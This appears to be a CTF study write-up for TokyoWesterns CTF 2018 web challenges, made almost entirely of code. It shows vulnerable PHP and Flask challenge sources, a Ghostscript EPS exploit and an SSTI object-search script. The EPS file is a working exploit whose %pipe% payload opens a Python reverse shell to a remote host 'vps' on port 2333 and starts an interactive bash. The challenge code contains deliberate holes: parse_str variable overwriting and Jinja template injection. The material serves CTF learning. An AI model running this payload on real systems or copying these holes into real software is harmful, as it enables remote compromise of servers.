TokyoWesterns CTF 2018 Web 学习

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

<?php

require_once 'flag.php';

if (!empty($_SERVER['QUERY_STRING'])) {
    $query = $_SERVER['QUERY_STRING'];
    $res = parse_str($query);
    if (!empty($res['action'])){
        $action = $res['action'];
    }
}

if ($action === 'auth') {
    if (!empty($res['user'])) {
        $user = $res['user'];
    }
    if (!empty($res['pass'])) {
        $pass = $res['pass'];
    }

    if (!empty($user) && !empty($pass)) {
        $hashed_password = hash('md5', $user.$pass);
    }
    if (!empty($hashed_password) && $hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e') {
        echo $flag;
    }
    else {
        echo 'fail :(';
    }
}
else {
    highlight_file(__FILE__);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

from flask import (
    Flask,
    render_template,
    request,
    redirect,
    url_for,
    make_response,
)
from PIL import Image
import tempfile
import os


app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/source')
def source():
    return open(__file__).read()

@app.route('/conv', methods=['POST'])
def conv():
    f = request.files.get('image', None)
    if not f:
        return redirect(url_for('index'))
    ext = f.filename.split('.')[-1]
    fname = tempfile.mktemp("emoji")
    fname = "{}.{}".format(fname, ext)
    f.save(fname)
    img = Image.open(fname)
    w, h = img.size
    r = 128/max(w, h)
    newimg = img.resize((int(w*r), int(h*r)))
    newimg.save(fname)
    response = make_response()
    response.data = open(fname, "rb").read()
    response.headers['Content-Disposition'] = 'attachment; filename=emoji_{}'.format(f.filename)
    os.unlink(fname)
    return response

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8080, debug=True)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vps",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);') currentdevice putdeviceprops

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

import flask
import os


app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{\% set {}=None\%}}'.format(c) for c in blacklist])+s
    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

1
2
3
4
5

request.args
request.cookies
request.headers
request.environ
request.values

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

# -*- coding: UTF-8 -*-
import flask
import os
from flask import request

def search(obj, max_depth):
    visited_clss = []
    visited_objs = []
    path_list = []

    def visit(obj, path='request', depth=0):
        
        if depth == max_depth:
            return

        elif isinstance(obj, (int, float, bool, str, bytes)):
            return

        elif isinstance(obj, type):
            if obj in visited_clss:
                return
            visited_clss.append(obj)

        else:
            if obj in visited_objs:
                return
            visited_objs.append(obj)
        
        # attributes
        for name in dir(obj):
            if name.startswith('__') and name.endswith('__'):
                if name not in  ('__globals__', '__class__', '__self__',
                                 '__weakref__', '__objclass__', '__module__'):
                    continue
            attr = getattr(obj, name)
            visit(attr, '{}.{}'.format(path, name), depth + 1)
        
        # dict values
        if hasattr(obj, 'items') and callable(obj.items):
            try:
                for k, v in obj.items():
                    visit(v, '{}[{}]'.format(path, repr(k)), depth)
            except:
                pass
        
        # items
        elif isinstance(obj, (set, list, tuple, frozenset)):
            for i, v in enumerate(obj):
                visit(v, '{}[{}]'.format(path, repr(i)), depth)
        if 'TWCTF' in str(obj):
        	path_list.append(path)
        	return
            
    visit(obj)
    return path_list

app = flask.Flask(__name__)
app.config['FLAG'] = 'TWCTF{xxxxxxx}'

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
	
	return str(search(request, 10))
if __name__ == '__main__':
    app.run(debug=True)